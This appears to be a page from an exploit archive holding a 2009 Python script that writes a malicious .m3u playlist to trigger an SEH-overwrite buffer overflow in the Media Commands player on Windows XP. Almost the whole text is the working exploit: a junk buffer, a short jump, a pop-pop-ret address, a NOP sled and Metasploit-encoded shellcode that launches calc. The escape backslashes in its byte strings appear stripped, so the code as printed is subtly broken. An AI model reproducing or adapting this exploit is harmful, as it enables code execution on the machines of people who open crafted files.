[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Media Commands (m3u File) Universal SEH Overwrite Exploit
# Published : 2009-03-05
# Author : His0k4
# Previous Title : Media Commands .m3l File Local Buffer Overflow Exploit
# Next Title : Merak Media PLayer 3.2 m3u File Local Buffer Overflow Exploit (SEH)


#usage: exploit.py
print "**************************************************************************"
print " Media Commands (m3u File) Universal Seh Overwrite Exploitn"
print " Founder: Hakxer"
print " Exploited by : His0k4"
print " Another Exploiter : Stack"
print " Tested on: Windows XP Pro SP2 Frn"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)n"
print "**************************************************************************"
         	

			
			
buff = "x41" * 4103

next_seh = "xEBx06x90x90" 

seh = "x9Fx20x01x10" #Universal pop pop ret :p


nop = "x90" * 19

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"
"x42x30x42x30x42x30x4bx48x45x34x4ex53x4bx48x4ex47"
"x45x50x4ax37x41x50x4fx4ex4bx58x4fx34x4ax41x4bx58"
"x4fx35x42x32x41x30x4bx4ex49x34x4bx38x46x33x4bx38"
"x41x30x50x4ex41x33x42x4cx49x59x4ex4ax46x48x42x4c"
"x46x47x47x50x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e"
"x46x4fx4bx33x46x55x46x42x46x30x45x47x45x4ex4bx58"
"x4fx55x46x32x41x30x4bx4ex48x46x4bx58x4ex30x4bx54"
"x4bx38x4fx45x4ex41x41x30x4bx4ex4bx58x4ex41x4bx48"
"x41x30x4bx4ex49x38x4ex55x46x42x46x50x43x4cx41x43"
"x42x4cx46x56x4bx58x42x54x42x53x45x48x42x4cx4ax47"
"x4ex30x4bx48x42x34x4ex30x4bx38x42x57x4ex51x4dx4a"
"x4bx58x4ax46x4ax30x4bx4ex49x50x4bx58x42x38x42x4b"
"x42x30x42x30x42x30x4bx38x4ax46x4ex43x4fx45x41x53"
"x48x4fx42x56x48x45x49x38x4ax4fx43x58x42x4cx4bx37"
"x42x45x4ax56x42x4fx4cx38x46x50x4fx35x4ax56x4ax59"
"x50x4fx4cx48x50x50x47x35x4fx4fx47x4ex43x46x41x36"
"x4ex36x43x36x42x50x5a"
    )

exploit = buff + next_seh + seh + nop + shellcode

try:
    out_file = open("exploit.m3u",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit File Created!"
except:
    print "Error"

# www.Syue.com [2009-03-05]